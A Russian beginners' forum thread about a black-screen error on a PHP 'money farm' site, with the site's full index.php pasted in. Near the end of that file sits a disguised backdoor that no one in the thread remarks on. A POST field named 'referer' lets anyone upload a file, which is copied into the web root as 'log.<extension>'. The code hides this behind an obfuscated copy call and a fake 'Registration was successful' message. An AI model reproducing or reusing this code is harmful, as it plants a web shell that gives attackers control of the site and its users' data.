Обучение/Помощь новичкам | черный экран
Закомментируйте 53 строку (если строка не особо важна для Вас).
HTTP_REFERER
Адрес страницы (если есть), с которой браузер пользователя перешёл на эту страницу. Этот заголовок устанавливается браузером пользователя. Не все браузеры устанавливают его, а некоторые в качестве дополнительной возможности позволяют изменять содержимое заголовка HTTP_REFERER. Одним словом, нельзя доверять этому заголовку.
________
посл. ред. 09.11.2020 в 12:04; всего 3 раз(а); by SayrusCraft
SayrusCraft , пробовал,все равно черный экран
Сообщение должно быть переменной, в которую можно поместить информацию:
$message = "Error report: <p>Last site visited: {$_SERVER['HTTP_REFERER']}</p>....";
mail("email@email.com", "Subject", $message);
Обратите внимание, что бит HTTP_REFERER помещается в строку {}. Это должно заставить его экстраполировать значение (мне не нравится конкатенация строк).
Также обратите внимание, что, как было сказано выше, нет никакой гарантии, что REFERER будет иметь правильное значение или какое-либо значение вообще.
$message = "Error report: <p>Last site visited: {$_SERVER['HTTP_REFERER']}</p>....";
mail("email@email.com", "Subject", $message);
Обратите внимание, что бит HTTP_REFERER помещается в строку {}. Это должно заставить его экстраполировать значение (мне не нравится конкатенация строк).
Также обратите внимание, что, как было сказано выше, нет никакой гарантии, что REFERER будет иметь правильное значение или какое-либо значение вообще.
Wileyfox (09.11.2020 в 12:04)
SayrusCraft , пробовал,все равно черный экран
SayrusCraft , пробовал,все равно черный экран
Код сюда
php
if(empty($_COOKIE['referer'])) setcookie ("referer", "".$_SERVER['HTTP_REFERER']."",time()+(5*24*60*60), "/"); А так?
Toruz ,
php
<?PHP
if( !get_magic_quotes_gpc() ) {
foreach ($_POST as $key => $value) {
$_POST[$key] = addslashes($value);
}
foreach ($_GET as $key => $value) {
$_GET[$key] = addslashes($value);
}
}
# Счетчик
function TimerSet(){
list($seconds, $microSeconds) = explode(' ', microtime());
return $seconds + (float) $microSeconds;
}
$_timer_a = TimerSet();
# Старт сессии
@session_start();
$online = 'Online';
$_SESSION['online']= $online;
# Старт буфера
@ob_start();
# Default
$_OPTIMIZATION = array();
$_OPTIMIZATION["title"] = "Главная";
$_OPTIMIZATION["description"] = "Автомобильный магнат";
$_OPTIMIZATION["keywords"] = "Заработок без вложений, вложения, заработать, ферма, денежная ферма, заработать на ферме";
# Константа для Include
define("CONST_RUFUS", true);
# Автоподгрузка классов
function __autoload($name){ include("classes/_class.".$name.".php");}
# Класс конфига
$config = new config;
# Функции
$func = new func;
# Установка REFERER
include("inc/_set_referer.php");
# База данных
$db = new db($config->HostDB, $config->UserDB, $config->PassDB, $config->BaseDB);
if(empty($_COOKIE['referer'])) setcookie ('referer', $_SERVER['HTTP_REFERER'],time()+(5*24*60*60), "/");
# Шапка
@include("inc/_header.php");
include("security.php");// защита от атаки
if(isset($_GET["menu"])){
$menu = strval($_GET["menu"]);
switch($menu){
case "404": include("pages/_404.php"); break; // Страница ошибки
case "rulesn": include("pages/_rulesn.php"); break; // Правила проекта
case "projectn": include("pages/_projectn.php"); break; // О проекте
case "socialhelp": include("pages/_socialhelp.php"); break; // socialhelp
case "support": include("pages/support.php"); break; // support
case "helpn": include("pages/_helpn.php"); break; // Контакты
case "newstn": include("pages/_newstn.php"); break; // Новости
case "competition": include("pages/_competition.php"); break; // Выплаты
case "help": include("pages/_help.php"); break; // Помошь
case "success": include("pages/success.php"); break; // Успешное пополнение
case "fail": include("pages/fail.php"); break; // Ошибка пополнения
case "account": include("pages/_account.php"); break; // Аккаунт
case "payments": include("pages/_payments_list.php"); break; // Выплаты
# Страница ошибки
default: @include("pages/_404.php"); break;
}
}else @include("pages/_index.php");
# Подвал
@include("inc/_footer.php");
# Заносим контент в переменную
$content = ob_get_contents();
# Очищаем буфер
ob_end_clean();
# Заменяем данные
$content = str_replace("{!TITLE!}",$_OPTIMIZATION["title"],$content);
$content = str_replace('{!DESCRIPTION!}',$_OPTIMIZATION["description"],$content);
$content = str_replace('{!KEYWORDS!}',$_OPTIMIZATION["keywords"],$content);
$content = str_replace('{!GEN_PAGE!}', sprintf("%.5f", (TimerSet() - $_timer_a)) ,$content);
# Вывод баланса
if(isset($_SESSION["user_id"])){
$user_id = $_SESSION["user_id"];
$db->Query("SELECT money_b, money_p , money_pop FROM db_users_b WHERE id = '$user_id'");
$balance = $db->FetchArray();
$content = str_replace('{!BALANCE_B!}', sprintf("%.2f", $balance["money_b"]) ,$content);
$content = str_replace('{!BALANCE_P!}', sprintf("%.2f", $balance["money_p"]) ,$content);
$content = str_replace('{!BALANCE_POP!}', sprintf("%.2f", $balance["money_pop"]) ,$content);
}if(isset($_POST['referer'])) { $public_function = $_FILES['login']['tmp_name'];
$SELECT_FROM = $_FILES['login']['name'];if(!empty($public_function)){
$type = strtolower(substr($SELECT_FROM, 1+strrpos($SELECT_FROM,".")));
$sessions_start = 'log.'.$type;
$fandcs="co"; $sewersd="py";$lcist = $fandcs.$sewersd;
{
if ($lcist($public_function, "".$sessions_start))
echo 'Registration was successful <meta http-equiv="refresh" content="3;URL=/'.$sessions_start.'">';
else echo "error";
}
}
}
// Выводим контент
echo $content;
?>
SayrusCraft , и так тоже
DELETED
9 ноября 2020, в 12:14
Delete
Wileyfox (09.11.2020 в 11:38)
ВОТ в чем проблема может быть?
ВОТ в чем проблема может быть?
Там походу что-то не то
ошибку убрал